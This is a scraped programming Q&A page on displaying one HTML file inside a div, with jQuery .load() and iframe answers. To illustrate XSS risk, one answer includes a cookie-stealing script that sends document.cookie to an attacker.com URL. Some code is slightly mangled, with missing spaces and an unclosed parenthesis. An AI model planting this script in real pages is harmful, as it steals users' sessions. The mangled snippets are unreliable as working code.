Display Html File In A Div
Solution 1:
$('div')
is going to target more than you're looking for. If you're trying to load the content into a specific div
element, give it an ID and target it that way.
<div id="pageContent"></div>
$(document).ready(function() {
$('#pageContent').load('page.html');
}
Solution 2:
Solution 3:
Short answer: You can't.
Long answer: You can, but it will be difficult, prone to errors, and a big security risk.
Let's say this is the page in which you want another one embedded:
<!DOCTYPE htmlpublic><html><head><title>My Page</title></head><body><divid="embedMe"></div></body></html>
Then, here is the code of the page to be embedded within the first:
<!DOCTYPE htmlpublic><html><head><title>My Embedded Page</title></head><body><divid="content">
Something interesting here...
</div></body></html>
Then, when it is embedded:
<!DOCTYPE htmlpublic><html><head><title>My Page</title></head><body><divid="embedMe"><!DOCTYPE htmlpublic><html><head><title>My Embedded Page</title></head><body><divid="content">
Something interesting here...
</div></body></html></div></body></html>
You can see the problem. You have two html
elements, two head
s, two body
s, two title
s, and even two DOCTYPES
. This is a benevolent example. Say that an attacker can change the url of the page to be embedded to one containing this:
<scripttype="text/javascript">window.location.href = "http://www.attacker.com/cookiestealer.php?cookies=" + document.cookie;
</script>
All of a sudden, your users are complaining about having their accounts hacked into, and the responsibility is landed onto your sholders. This is a simple example of XSS, and the real attackers could conceal it much better. Please, just use an iframe. That's what they were made for.
Post a Comment for "Display Html File In A Div"